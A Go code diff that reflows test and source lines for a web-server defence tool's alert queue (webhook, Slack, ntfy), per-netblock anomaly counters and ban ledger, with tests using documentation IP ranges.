@@ -789,22 +667,14 @@ func TestFullQueueDropsTheOldestAndRaiseNeverWaits(t *testing.T) {
got := webhook.received() got := webhook.received()
if len(got) != alerts.QueueSize+1 || if len(got) != alerts.QueueSize+1 ||
got[0].alert["netblock"] != netblock(0).String() { got[0].alert["netblock"] != netblock(0).String() {
t.Fatalf( t.Fatalf("the webhook had %d requests, want %d, the first for %s",
"the webhook had %d requests, want %d, the first for %s", len(got), alerts.QueueSize+1, netblock(0))
len(got),
alerts.QueueSize+1,
netblock(0),
)
} }
for i, request := range got[1:] { for i, request := range got[1:] {
if request.alert["netblock"] != netblock(i+1).String() { if request.alert["netblock"] != netblock(i+1).String() {
t.Fatalf( t.Fatalf("request %d is for %v, want %s", i+1, request.alert["netblock"],
"request %d is for %v, want %s", netblock(i+1))
i+1,
request.alert["netblock"],
netblock(i+1),
)
} }
} }
@@ -822,12 +692,8 @@ func TestStateLoadedIntoANewQueueCarriesOn(t *testing.T) {
// Not sent: Run is not running. The repeat is held back by the // Not sent: Run is not running. The repeat is held back by the
// cooldown, and the file error past the hourly limit. // cooldown, and the file error past the hourly limit.
before.Raise( before.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)}, before.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
)
before.Raise(
alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)},
)
before.Raise(alerts.Alert{Event: alerts.EventFileError}) before.Raise(alerts.Alert{Event: alerts.EventFileError})
time.Sleep(time.Minute) time.Sleep(time.Minute)
@@ -838,9 +704,7 @@ func TestStateLoadedIntoANewQueueCarriesOn(t *testing.T) {
// The new queue sends the alert waiting, holds back the repeat as // The new queue sends the alert waiting, holds back the repeat as
// the cooldown still runs, and sends the summary of the hour, which // the cooldown still runs, and sends the summary of the hour, which
// gives both repeats, as the cooldown has run out. // gives both repeats, as the cooldown has run out.
after.Raise( after.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)},
)
synctest.Wait() synctest.Wait()
wantEvents(t, webhook, alerts.EventBan) wantEvents(t, webhook, alerts.EventBan)
@@ -851,13 +715,9 @@ func TestStateLoadedIntoANewQueueCarriesOn(t *testing.T) {
summary := webhook.received()[1].alert summary := webhook.received()[1].alert
detail, _ := summary["detail"].(map[string]any) detail, _ := summary["detail"].(map[string]any)
if detail["count"] != float64(1) || if detail["count"] != float64(1) || summary["suppressed_repeats"] != float64(2) {
summary["suppressed_repeats"] != float64(2) { t.Errorf("the summary counts %v alerts and %v repeats, want 1 and 2",
t.Errorf( detail["count"], summary["suppressed_repeats"])
"the summary counts %v alerts and %v repeats, want 1 and 2",
detail["count"],
summary["suppressed_repeats"],
)
} }
}) })
} }
@@ -887,13 +747,7 @@ func TestSlackAndNtfyAreSentAMessageForEachEvent(t *testing.T) {
for i, each := range want { for i, each := range want {
wantSlackMessage(t, slack[i], "*"+each.title+"*\n"+each.text) wantSlackMessage(t, slack[i], "*"+each.title+"*\n"+each.text)
wantNtfyMessage( wantNtfyMessage(t, ntfy[i], each.title, each.priorityAndTag, each.text)
t,
ntfy[i],
each.title,
each.priorityAndTag,
each.text,
)
} }
}) })
} }
@@ -906,23 +760,14 @@ func TestSlackAndNtfyAreSentTheSummaryAndTheRepeatsHeldBack(t *testing.T) {
params.WebhookURL = nil params.WebhookURL = nil
params.MaxPerHour = 1 params.MaxPerHour = 1
standIns, q := startAll(t, params) standIns, q := startAll(t, params)
ban := alerts.Alert{ ban := alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1), Reason: "a ban"}
Event: alerts.EventBan,
Netblock: netblock(1),
Reason: "a ban",
}
// The hour's one alert, a repeat of it the cooldown holds back, and // The hour's one alert, a repeat of it the cooldown holds back, and
// an alert past the limit; once the hour has ended, its summary, // an alert past the limit; once the hour has ended, its summary,
// which gives the repeat, and the next alert, which gives none. // which gives the repeat, and the next alert, which gives none.
q.Raise(ban) q.Raise(ban)
q.Raise(ban) q.Raise(ban)
q.Raise( q.Raise(alerts.Alert{Event: alerts.EventFileError, Reason: "a file error"})
alerts.Alert{
Event: alerts.EventFileError,
Reason: "a file error",
},
)
time.Sleep(time.Hour) time.Sleep(time.Hour)
synctest.Wait() synctest.Wait()
q.Raise(ban) q.Raise(ban)
@@ -941,18 +786,8 @@ func TestSlackAndNtfyAreSentTheSummaryAndTheRepeatsHeldBack(t *testing.T) {
"by SWW_ALERT_COOLDOWN that no later alert gives\nsuppressed repeats: 1" "by SWW_ALERT_COOLDOWN that no later alert gives\nsuppressed repeats: 1"
wantSlackMessage(t, slack[1], "*"+instance+": summary*\n"+summary) wantSlackMessage(t, slack[1], "*"+instance+": summary*\n"+summary)
wantNtfyMessage( wantNtfyMessage(t, ntfy[1], instance+": summary", "default bar_chart", summary)
t, wantSlackMessage(t, slack[2], "*"+instance+": ban*\na ban\nnetblock: 203.0.113.1/32")
ntfy[1],
instance+": summary",
"default bar_chart",
summary,
)
wantSlackMessage(
t,
slack[2],
"*"+instance+": ban*\na ban\nnetblock: 203.0.113.1/32",
)
wantNtfyMessage(t, ntfy[2], instance+": ban", "default no_entry", wantNtfyMessage(t, ntfy[2], instance+": ban", "default no_entry",
"a ban\nnetblock: 203.0.113.1/32") "a ban\nnetblock: 203.0.113.1/32")
}) })
@@ -978,11 +813,7 @@ func TestSlackMessageEscapesAmpersandsAndAngleBrackets(t *testing.T) {
wantSlackMessage(t, got[0], "*app&lt;1&gt;: file_error*\n"+ wantSlackMessage(t, got[0], "*app&lt;1&gt;: file_error*\n"+
"&lt;!channel&gt; &amp; &lt;https://x.example|y&gt;") "&lt;!channel&gt; &amp; &lt;https://x.example|y&gt;")
wantBodies( wantBodies(t, standIns[alerts.DestinationNtfy], "<!channel> & <https://x.example|y>")
t,
standIns[alerts.DestinationNtfy],
"<!channel> & <https://x.example|y>",
)
}) })
} }
@@ -1004,12 +835,7 @@ func TestNtfyTokenIsSentToNtfyAlone(t *testing.T) {
params.NtfyToken = tc.token params.NtfyToken = tc.token
standIns, q := startAll(t, params) standIns, q := startAll(t, params)
q.Raise( q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
alerts.Alert{
Event: alerts.EventBan,
Netblock: netblock(1),
},
)
synctest.Wait() synctest.Wait()
for destination, want := range map[string][]string{ for destination, want := range map[string][]string{
@@ -1019,21 +845,13 @@ func TestNtfyTokenIsSentToNtfyAlone(t *testing.T) {
} { } {
got := standIns[destination].received() got := standIns[destination].received()
if len(got) != 1 { if len(got) != 1 {
t.Fatalf( t.Fatalf("%s was sent %d requests, want 1", destination, len(got))
"%s was sent %d requests, want 1",
destination,
len(got),
)
} }
authorization := got[0].header.Values("Authorization") authorization := got[0].header.Values("Authorization")
if !slices.Equal(authorization, want) { if !slices.Equal(authorization, want) {
t.Errorf( t.Errorf("%s was sent Authorization %q, want %q", destination,
"%s was sent Authorization %q, want %q", authorization, want)
destination,
authorization,
want,
)
} }
} }
}) })
@@ -1052,9 +870,7 @@ func TestDestinationThatDoesNotAnswerHoldsUpNeitherOther(t *testing.T) {
standIns[alerts.DestinationSlack].set(hanging) standIns[alerts.DestinationSlack].set(hanging)
for n := range 3 { for n := range 3 {
q.Raise( q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)})
alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)},
)
} }
synctest.Wait() synctest.Wait()
@@ -1069,9 +885,7 @@ func TestDestinationThatDoesNotAnswerHoldsUpNeitherOther(t *testing.T) {
wantDestinationCounts(t, q, destination, want) wantDestinationCounts(t, q, destination, want)
} }
if got := standIns[alerts.DestinationSlack].received(); len( if got := standIns[alerts.DestinationSlack].received(); len(got) != 1 {
got,
) != 1 {
t.Errorf("Slack was sent %d requests, want 1", len(got)) t.Errorf("Slack was sent %d requests, want 1", len(got))
} }
@@ -1086,16 +900,11 @@ func TestDestinationThatDoesNotAnswerHoldsUpNeitherOther(t *testing.T) {
alerts.Counts{Sent: 3, SendFailures: 1}) alerts.Counts{Sent: 3, SendFailures: 1})
logged := log.String() logged := log.String()
if !strings.Contains( if !strings.Contains(logged,
logged, `"msg":"sending an alert to SWW_ALERT_SLACK_WEBHOOK_URL failed"`) ||
`"msg":"sending an alert to SWW_ALERT_SLACK_WEBHOOK_URL failed"`,
) ||
strings.Contains(logged, "hooks.slack.example") || strings.Contains(logged, "hooks.slack.example") ||
strings.Contains(logged, "T0123") { strings.Contains(logged, "T0123") {
t.Errorf( t.Errorf("process log %q names no failure, or names the URL", logged)
"process log %q names no failure, or names the URL",
logged,
)
} }
}) })
} }
@@ -1113,9 +922,7 @@ func TestDropsAreCountedForEachDestination(t *testing.T) {
// Each alert is raised once each destination has done all it can // Each alert is raised once each destination has done all it can
// with those before it. // with those before it.
for n := range alerts.QueueSize + 1 { for n := range alerts.QueueSize + 1 {
q.Raise( q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)})
alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)},
)
synctest.Wait() synctest.Wait()
} }
@@ -1329,10 +1136,7 @@ func start(t *testing.T, params alerts.Params) (*standIn, *alerts.Queue) {
// startAll returns, by destination, a stand-in that answers for each // startAll returns, by destination, a stand-in that answers for each
// destination params sets, and a Queue that sends to them, run until the // destination params sets, and a Queue that sends to them, run until the
// test ends. // test ends.
func startAll( func startAll(t *testing.T, params alerts.Params) (map[string]*standIn, *alerts.Queue) {
t *testing.T,
params alerts.Params,
) (map[string]*standIn, *alerts.Queue) {
t.Helper() t.Helper()
q := alerts.New(params) q := alerts.New(params)
@@ -1366,9 +1170,7 @@ func midnight() time.Time {
// netblock returns the n-th netblock of a test, counted from 0. // netblock returns the n-th netblock of a test, counted from 0.
func netblock(n int) netip.Prefix { func netblock(n int) netip.Prefix {
return netip.MustParsePrefix( return netip.MustParsePrefix(fmt.Sprintf("203.0.%d.%d/32", 113+n/256, n%256))
fmt.Sprintf("203.0.%d.%d/32", 113+n/256, n%256),
)
} }
// roundTrip returns state once written as JSON and read back, as // roundTrip returns state once written as JSON and read back, as
@@ -1421,22 +1223,12 @@ func wantEvents(t *testing.T, webhook *standIn, want ...string) {
// requests to it that it counts as failed, the alerts it counts as held // requests to it that it counts as failed, the alerts it counts as held
// back, and those it counts as dropped for the webhook. // back, and those it counts as dropped for the webhook.
func wantCounts( func wantCounts(
t *testing.T, t *testing.T, q *alerts.Queue, sent, sendFailures, suppressed, dropped int64,
q *alerts.Queue,
sent, sendFailures, suppressed, dropped int64,
) { ) {
t.Helper() t.Helper()
wantDestinationCounts( wantDestinationCounts(t, q, alerts.DestinationWebhook,
t, alerts.Counts{Sent: sent, SendFailures: sendFailures, Dropped: dropped})
q,
alerts.DestinationWebhook,
alerts.Counts{
Sent: sent,
SendFailures: sendFailures,
Dropped: dropped,
},
)
if q.Suppressed() != suppressed { if q.Suppressed() != suppressed {
t.Errorf("%d alerts held back, want %d", q.Suppressed(), suppressed) t.Errorf("%d alerts held back, want %d", q.Suppressed(), suppressed)
@@ -1469,9 +1261,7 @@ func anAlertForEachEvent() []eventMessage {
{ {
alerts.Alert{ alerts.Alert{
Event: alerts.EventBan, Client: netip.MustParseAddr("203.0.113.9"), Event: alerts.EventBan, Client: netip.MustParseAddr("203.0.113.9"),
Netblock: netip.MustParsePrefix( Netblock: netip.MustParsePrefix("203.0.113.0/24"), Country: "DE",
"203.0.113.0/24",
), Country: "DE",
Reason: "requests per hour over the limit of 10000", Reason: "requests per hour over the limit of 10000",
Detail: map[string]any{"mode": "observe"}, Detail: map[string]any{"mode": "observe"},
}, },
@@ -1482,9 +1272,7 @@ func anAlertForEachEvent() []eventMessage {
{ {
alerts.Alert{ alerts.Alert{
Event: alerts.EventPermanentBan, Client: netip.MustParseAddr("198.51.100.7"), Event: alerts.EventPermanentBan, Client: netip.MustParseAddr("198.51.100.7"),
Netblock: netip.MustParsePrefix( Netblock: netip.MustParsePrefix("198.51.100.7/32"), Country: "FR",
"198.51.100.7/32",
), Country: "FR",
Reason: "matched the rule env-file", Reason: "matched the rule env-file",
}, },
"fsn1app1/blog: permanent_ban", "high no_entry", "fsn1app1/blog: permanent_ban", "high no_entry",
@@ -1559,30 +1347,18 @@ func wantSlackMessage(t *testing.T, request post, text string) {
// wantNtfyMessage checks that request, one ntfy was sent, posted the // wantNtfyMessage checks that request, one ntfy was sent, posted the
// message text with the title, and with the priority and the tag // message text with the title, and with the priority and the tag
// priorityAndTag gives, with a space between them. // priorityAndTag gives, with a space between them.
func wantNtfyMessage( func wantNtfyMessage(t *testing.T, request post, title, priorityAndTag, text string) {
t *testing.T,
request post,
title, priorityAndTag, text string,
) {
t.Helper() t.Helper()
got := []string{ got := []string{
request.method, request.url, request.header.Get("Title"), request.method, request.url, request.header.Get("Title"),
request.header.Get( request.header.Get("Priority") + " " + request.header.Get("Tags"), request.body,
"Priority",
) + " " + request.header.Get(
"Tags",
), request.body,
} }
want := []string{http.MethodPost, ntfyURL, title, priorityAndTag, text} want := []string{http.MethodPost, ntfyURL, title, priorityAndTag, text}
if !slices.Equal(got, want) { if !slices.Equal(got, want) {
t.Errorf( t.Errorf("ntfy was sent the method, URL, title, priority and tag, and text "+
"ntfy was sent the method, URL, title, priority and tag, and text "+ "%q, want %q", got, want)
"%q, want %q",
got,
want,
)
} }
} }
+9 -43
View File
@@ -43,13 +43,7 @@ const (
// Scopes returns every scope. // Scopes returns every scope.
func Scopes() []string { func Scopes() []string {
return []string{ return []string{ScopeClient, ScopeNet, ScopeASN, ScopeTotal, ScopeWatchedNet}
ScopeClient,
ScopeNet,
ScopeASN,
ScopeTotal,
ScopeWatchedNet,
}
} }
// The windows a counter counts in, as the alerts name them. // The windows a counter counts in, as the alerts name them.
@@ -197,12 +191,8 @@ func (c *Counters) Snapshot() []Counter {
c.mu.Unlock() c.mu.Unlock()
slices.SortFunc(counters, func(a, b Counter) int { slices.SortFunc(counters, func(a, b Counter) int {
return cmp.Or( return cmp.Or(cmp.Compare(a.Scope, b.Scope), a.Netblock.Compare(b.Netblock),
cmp.Compare(a.Scope, b.Scope), cmp.Compare(a.ASN, b.ASN), cmp.Compare(a.Name, b.Name))
a.Netblock.Compare(b.Netblock),
cmp.Compare(a.ASN, b.ASN),
cmp.Compare(a.Name, b.Name),
)
}) })
return counters return counters
@@ -267,11 +257,7 @@ func (c *Counters) scopesOf(r Request) []scope {
for _, named := range p.NamedNetblocks { for _, named := range p.NamedNetblocks {
if named.Netblock.Contains(client) { if named.Netblock.Contains(client) {
all = append(all, scope{ all = append(all, scope{
key{ key{scope: ScopeWatchedNet, netblock: named.Netblock, name: named.Name}, p.Watch,
scope: ScopeWatchedNet,
netblock: named.Netblock,
name: named.Name,
}, p.Watch,
}) })
} }
} }
@@ -330,12 +316,7 @@ func (c *Counter) add(
counted := count.buckets.Add(now, count.length, n) counted := count.buckets.Add(now, count.length, n)
if !passed && counted > float64(threshold) { if !passed && counted > float64(threshold) {
first = overThreshold{ first = overThreshold{count.kind, count.window, counted, threshold}
count.kind,
count.window,
counted,
threshold,
}
passed = true passed = true
} }
} }
@@ -378,22 +359,12 @@ func (c *Counter) lastStart() time.Time {
// key returns what tells c from the other counters. // key returns what tells c from the other counters.
func (c *Counter) key() key { func (c *Counter) key() key {
return key{ return key{scope: c.Scope, netblock: c.Netblock, asn: c.ASN, name: c.Name}
scope: c.Scope,
netblock: c.Netblock,
asn: c.ASN,
name: c.Name,
}
} }
// counter returns a counter for k, with nothing counted yet. // counter returns a counter for k, with nothing counted yet.
func (k key) counter() *Counter { func (k key) counter() *Counter {
return &Counter{ return &Counter{Scope: k.scope, Netblock: k.netblock, ASN: k.asn, Name: k.name}
Scope: k.scope,
Netblock: k.netblock,
ASN: k.asn,
Name: k.name,
}
} }
// alertFor returns the anomaly alert for o, a count over its threshold in // alertFor returns the anomaly alert for o, a count over its threshold in
@@ -433,13 +404,8 @@ func alertFor(r Request, k key, o overThreshold) alerts.Alert {
ASN: r.ASN, ASN: r.ASN,
ASName: r.ASName, ASName: r.ASName,
Country: r.Country, Country: r.Country,
Reason: fmt.Sprintf( Reason: fmt.Sprintf("%s per %s of %s over the threshold of %d", o.kind, o.window,
"%s per %s of %s over the threshold of %d", counted, o.threshold),
o.kind,
o.window,
counted,
o.threshold,
),
Detail: detail, Detail: detail,
} }
} }
+14 -43
View File
@@ -31,10 +31,7 @@ func TestEachScopeHasACooldownOfItsOwn(t *testing.T) {
// name one netblock. // name one netblock.
NetV4Prefix: 32, NetV4Prefix: 32,
NamedNetblocks: []anomaly.NamedNetblock{ NamedNetblocks: []anomaly.NamedNetblock{
{ {Name: "office", Netblock: office}, {Name: "hq", Netblock: office},
Name: "office",
Netblock: office,
}, {Name: "hq", Netblock: office},
}, },
Alerts: queue, Alerts: queue,
}) })
@@ -83,16 +80,11 @@ func TestEachScopeHasACooldownOfItsOwn(t *testing.T) {
} }
if after.Suppressed() != 9 { if after.Suppressed() != 9 {
t.Errorf( t.Errorf("after loading, %d alerts are held back, want 9", after.Suppressed())
"after loading, %d alerts are held back, want 9",
after.Suppressed(),
)
} }
} }
func TestKeepsAtMost20000CountersDroppingTheLeastRecentlyCounted( func TestKeepsAtMost20000CountersDroppingTheLeastRecentlyCounted(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
counters := newCounters(anomaly.Params{ counters := newCounters(anomaly.Params{
@@ -111,28 +103,17 @@ func TestKeepsAtMost20000CountersDroppingTheLeastRecentlyCounted(
got := counters.Snapshot() got := counters.Snapshot()
if len(got) != maxCounters || !holds(got, 0) || holds(got, 1) || if len(got) != maxCounters || !holds(got, 0) || holds(got, 1) ||
!holds(got, maxCounters) { !holds(got, maxCounters) {
t.Errorf( t.Errorf("%d counters, holding the first client %v, the second %v and the "+
"%d counters, holding the first client %v, the second %v and the "+ "new one %v, want %d, the first and the new one", len(got), holds(got, 0),
"new one %v, want %d, the first and the new one", holds(got, 1), holds(got, maxCounters), maxCounters)
len(got),
holds(got, 0),
holds(got, 1),
holds(got, maxCounters),
maxCounters,
)
} }
} }
func TestLoadEmptiesBucketsWhoseTimeHasPassedAndDropsEmptyCounters( func TestLoadEmptiesBucketsWhoseTimeHasPassedAndDropsEmptyCounters(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
counters := newCounters(anomaly.Params{ counters := newCounters(anomaly.Params{
Net: anomaly.Thresholds{ Net: anomaly.Thresholds{RequestsPerMinute: 1000, RequestsPerHour: 1000},
RequestsPerMinute: 1000,
RequestsPerHour: 1000,
},
Total: anomaly.Thresholds{RequestsPerMinute: 1000}, Total: anomaly.Thresholds{RequestsPerMinute: 1000},
NetV4Prefix: 24, NetV4Prefix: 24,
}) })
@@ -161,9 +142,7 @@ func TestLoadEmptiesBucketsWhoseTimeHasPassedAndDropsEmptyCounters(
Hour: ratelimit.Buckets{Start: midnight(), Current: 7}, Hour: ratelimit.Buckets{Start: midnight(), Current: 7},
} }
if got, want := counters.Snapshot(), []anomaly.Counter{netblock}; !reflect.DeepEqual( if got, want := counters.Snapshot(), []anomaly.Counter{netblock}; !reflect.DeepEqual(
got, got, want) {
want,
) {
t.Errorf("counters read\n%+v\nwant\n%+v", got, want) t.Errorf("counters read\n%+v\nwant\n%+v", got, want)
} }
@@ -213,12 +192,9 @@ func TestLoadDropsTheLeastRecentlyCountedFirst(t *testing.T) {
got := counters.Snapshot() got := counters.Snapshot()
if !holds(got, 0) || holds(got, maxCounters/2) { if !holds(got, 0) || holds(got, maxCounters/2) {
t.Errorf( t.Errorf("holding the first client of the file %v, and the first counted in "+
"holding the first client of the file %v, and the first counted in "+ "the minute before %v, want only the first", holds(got, 0),
"the minute before %v, want only the first", holds(got, maxCounters/2))
holds(got, 0),
holds(got, maxCounters/2),
)
} }
} }
@@ -249,14 +225,9 @@ func newQueue() *alerts.Queue {
// request returns a request from client number i, an address in // request returns a request from client number i, an address in
// 10.0.0.0/8. // 10.0.0.0/8.
func request(i int) anomaly.Request { func request(i int) anomaly.Request {
client := netip.MustParseAddr( client := netip.MustParseAddr(fmt.Sprintf("10.%d.%d.%d", i>>16, i>>8&255, i&255))
fmt.Sprintf("10.%d.%d.%d", i>>16, i>>8&255, i&255),
)
return anomaly.Request{ return anomaly.Request{Client: client, ClientGroup: netip.PrefixFrom(client, 32)}
Client: client,
ClientGroup: netip.PrefixFrom(client, 32),
}
} }
// holds reports whether counters hold the counter of client number i. // holds reports whether counters hold the counter of client number i.
+42 -146
View File
@@ -36,21 +36,9 @@ func TestAdminsBansAreNeverDroppedAndDoNotCountTowardMaxBans(t *testing.T) {
// then one with an admin's ban before a ban sww made: the one // then one with an admin's ban before a ban sww made: the one
// ban counted toward MaxBans. // ban counted toward MaxBans.
ledger.Load([]bans.Ban{ ledger.Load([]bans.Ban{
{ {Netblock: adminsOnly, Start: midnight().Add(-3 * time.Hour), Cause: bans.CauseAdmin},
Netblock: adminsOnly, {Netblock: adminsOnly, Start: midnight().Add(-2 * time.Hour), Cause: bans.CauseAdmin},
Start: midnight().Add(-3 * time.Hour), {Netblock: both, Start: midnight().Add(-time.Hour), Cause: bans.CauseAdmin},
Cause: bans.CauseAdmin,
},
{
Netblock: adminsOnly,
Start: midnight().Add(-2 * time.Hour),
Cause: bans.CauseAdmin,
},
{
Netblock: both,
Start: midnight().Add(-time.Hour),
Cause: bans.CauseAdmin,
},
{ {
Netblock: both, Netblock: both,
Start: midnight(), Start: midnight(),
@@ -62,27 +50,15 @@ func TestAdminsBansAreNeverDroppedAndDoNotCountTowardMaxBans(t *testing.T) {
// A new ban drops the ban sww made, and only that one. // A new ban drops the ban sww made, and only that one.
ledger.BanForLimit(second, midnight(), bans.Notes{}) ledger.BanForLimit(second, midnight(), bans.Notes{})
wantBans( wantBans(t, ledger, map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 1})
t,
ledger,
map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 1},
)
if ledger.Bans(both)[0].Cause != bans.CauseAdmin { if ledger.Bans(both)[0].Cause != bans.CauseAdmin {
t.Errorf( t.Errorf("%s kept %+v, want the admin's ban", both, ledger.Bans(both))
"%s kept %+v, want the admin's ban",
both,
ledger.Bans(both),
)
} }
// And the next drops that one. // And the next drops that one.
ledger.BanForLimit(third, midnight(), bans.Notes{}) ledger.BanForLimit(third, midnight(), bans.Notes{})
wantBans( wantBans(t, ledger, map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 0, third: 1})
t,
ledger,
map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 0, third: 1},
)
} }
func TestEarlierBansCountABanDroppedAfterAnAdminsBan(t *testing.T) { func TestEarlierBansCountABanDroppedAfterAnAdminsBan(t *testing.T) {
@@ -98,11 +74,7 @@ func TestEarlierBansCountABanDroppedAfterAnAdminsBan(t *testing.T) {
// twice, each time after its last ban has ended. // twice, each time after its last ban has ended.
ledger.BanForAdmin(netblock, midnight(), midnight().Add(time.Minute), ledger.BanForAdmin(netblock, midnight(), midnight().Add(time.Minute),
"probes for logins") "probes for logins")
first, _ := ledger.BanForLimit( first, _ := ledger.BanForLimit(netblock, midnight().Add(time.Minute), bans.Notes{})
netblock,
midnight().Add(time.Minute),
bans.Notes{},
)
second, _ := ledger.BanForLimit(netblock, first.Expires, bans.Notes{}) second, _ := ledger.BanForLimit(netblock, first.Expires, bans.Notes{})
// A ban on another netblock fills the ledger, and the netblock's first // A ban on another netblock fills the ledger, and the netblock's first
@@ -147,21 +119,12 @@ func TestReasonOfTheBansSwwMakes(t *testing.T) {
ledger := bans.New(defaultParams()) ledger := bans.New(defaultParams())
limit, _ := ledger.BanForLimit( limit, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.1/32"), midnight(),
netip.MustParsePrefix("203.0.113.1/32"), bans.Notes{Kind: "requests", Limit: 1000, Window: "minute"})
midnight(), byteLimit, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.3/32"),
bans.Notes{Kind: "requests", Limit: 1000, Window: "minute"}, midnight(), bans.Notes{Kind: "bytes", Limit: 10 << 30, Window: "hour"})
) attack, _ := ledger.BanForAttack(netip.MustParsePrefix("203.0.113.2/32"), midnight(),
byteLimit, _ := ledger.BanForLimit( bans.Notes{RuleID: "git-dir", Target: "path"})
netip.MustParsePrefix("203.0.113.3/32"),
midnight(),
bans.Notes{Kind: "bytes", Limit: 10 << 30, Window: "hour"},
)
attack, _ := ledger.BanForAttack(
netip.MustParsePrefix("203.0.113.2/32"),
midnight(),
bans.Notes{RuleID: "git-dir", Target: "path"},
)
for _, tc := range []struct{ got, want string }{ for _, tc := range []struct{ got, want string }{
{limit.Reason, "requests per minute over the limit of 1000"}, {limit.Reason, "requests per minute over the limit of 1000"},
@@ -203,25 +166,17 @@ func TestLiftedBanForALimitRefusesNothingAndMakesNoBanLonger(t *testing.T) {
ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{}) ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{})
if ban.Expires.Sub(ban.Start) != time.Hour || if ban.Expires.Sub(ban.Start) != time.Hour ||
ban.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) { ban.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
t.Errorf( t.Errorf("the next ban lasts %s with earlier bans %+v, want 1h and 1 for a limit",
"the next ban lasts %s with earlier bans %+v, want 1h and 1 for a limit", ban.Expires.Sub(ban.Start), ban.Notes.EarlierBans)
ban.Expires.Sub(ban.Start),
ban.Notes.EarlierBans,
)
} }
held := ledger.Bans(netblock) held := ledger.Bans(netblock)
if len(held) != 2 || !reflect.DeepEqual(held[0], lifted) { if len(held) != 2 || !reflect.DeepEqual(held[0], lifted) {
t.Errorf( t.Errorf("the ledger holds %+v, want the lifted ban and the new one", held)
"the ledger holds %+v, want the lifted ban and the new one",
held,
)
} }
} }
func TestLiftedBanForAnAttackRefusesNothingAndMakesNoBanLonger( func TestLiftedBanForAnAttackRefusesNothingAndMakesNoBanLonger(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
// A permanent ban for a clear sign of attack, lifted. // A permanent ban for a clear sign of attack, lifted.
@@ -243,20 +198,13 @@ func TestLiftedBanForAnAttackRefusesNothingAndMakesNoBanLonger(
active, permanent := ledger.Count(now) active, permanent := ledger.Count(now)
if active != 0 || permanent != 0 { if active != 0 || permanent != 0 {
t.Errorf( t.Errorf("%d bans are active and %d permanent, want none", active, permanent)
"%d bans are active and %d permanent, want none",
active,
permanent,
)
} }
// The next clear sign of attack bans for seven days, as a first does. // The next clear sign of attack bans for seven days, as a first does.
ban, _ := ledger.BanForAttack(netblock, now, bans.Notes{}) ban, _ := ledger.BanForAttack(netblock, now, bans.Notes{})
if ban.Expires.Sub(ban.Start) != 7*day { if ban.Expires.Sub(ban.Start) != 7*day {
t.Errorf( t.Errorf("the next ban for an attack ends at %s, want seven days on", ban.Expires)
"the next ban for an attack ends at %s, want seven days on",
ban.Expires,
)
} }
} }
@@ -264,11 +212,8 @@ func TestLoadEditCountsTheBansAnAdminMade(t *testing.T) {
t.Parallel() t.Parallel()
ledger := bans.New(defaultParams()) ledger := bans.New(defaultParams())
made, _ := ledger.BanForLimit( made, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.1/32"), midnight(),
netip.MustParsePrefix("203.0.113.1/32"), bans.Notes{})
midnight(),
bans.Notes{},
)
atStart := bans.Ban{ atStart := bans.Ban{
Netblock: netip.MustParsePrefix("203.0.113.2/32"), Netblock: netip.MustParsePrefix("203.0.113.2/32"),
Start: midnight(), Start: midnight(),
@@ -278,10 +223,7 @@ func TestLoadEditCountsTheBansAnAdminMade(t *testing.T) {
ledger.Load([]bans.Ban{made, atStart}) ledger.Load([]bans.Ban{made, atStart})
if got := ledger.Made(bans.CauseAdmin); got != 0 { if got := ledger.Made(bans.CauseAdmin); got != 0 {
t.Fatalf( t.Fatalf("%d bans made by an admin after the start's, want none", got)
"%d bans made by an admin after the start's, want none",
got,
)
} }
// The admin keeps the ban sww made, keeps the one read at the // The admin keeps the ban sww made, keeps the one read at the
@@ -294,13 +236,9 @@ func TestLoadEditCountsTheBansAnAdminMade(t *testing.T) {
} }
ledger.LoadEdit([]bans.Ban{kept, atStart, added}) ledger.LoadEdit([]bans.Ban{kept, atStart, added})
if ledger.Made(bans.CauseAdmin) != 1 || if ledger.Made(bans.CauseAdmin) != 1 || ledger.Made(bans.CauseLimit) != 1 {
ledger.Made(bans.CauseLimit) != 1 { t.Errorf("%d bans made by an admin and %d for a limit, want 1 of each",
t.Errorf( ledger.Made(bans.CauseAdmin), ledger.Made(bans.CauseLimit))
"%d bans made by an admin and %d for a limit, want 1 of each",
ledger.Made(bans.CauseAdmin),
ledger.Made(bans.CauseLimit),
)
} }
} }
@@ -326,12 +264,8 @@ func TestAdminsBanIsMadeWhileAnotherLasts(t *testing.T) {
Notes: bans.Notes{EarlierBans: bans.EarlierBans{Limit: 1}}, Notes: bans.Notes{EarlierBans: bans.EarlierBans{Limit: 1}},
} }
got := ledger.BanForAdmin( got := ledger.BanForAdmin(netip.MustParsePrefix("203.0.113.9/24"), now, time.Time{},
netip.MustParsePrefix("203.0.113.9/24"), "probes for logins")
now,
time.Time{},
"probes for logins",
)
if !reflect.DeepEqual(got, want) { if !reflect.DeepEqual(got, want) {
t.Errorf("the admin's ban is\n%+v\nwant\n%+v", got, want) t.Errorf("the admin's ban is\n%+v\nwant\n%+v", got, want)
} }
@@ -343,17 +277,10 @@ func TestAdminsBanIsMadeWhileAnotherLasts(t *testing.T) {
} }
// It refuses once the ban for the limit has ended. // It refuses once the ban for the limit has ended.
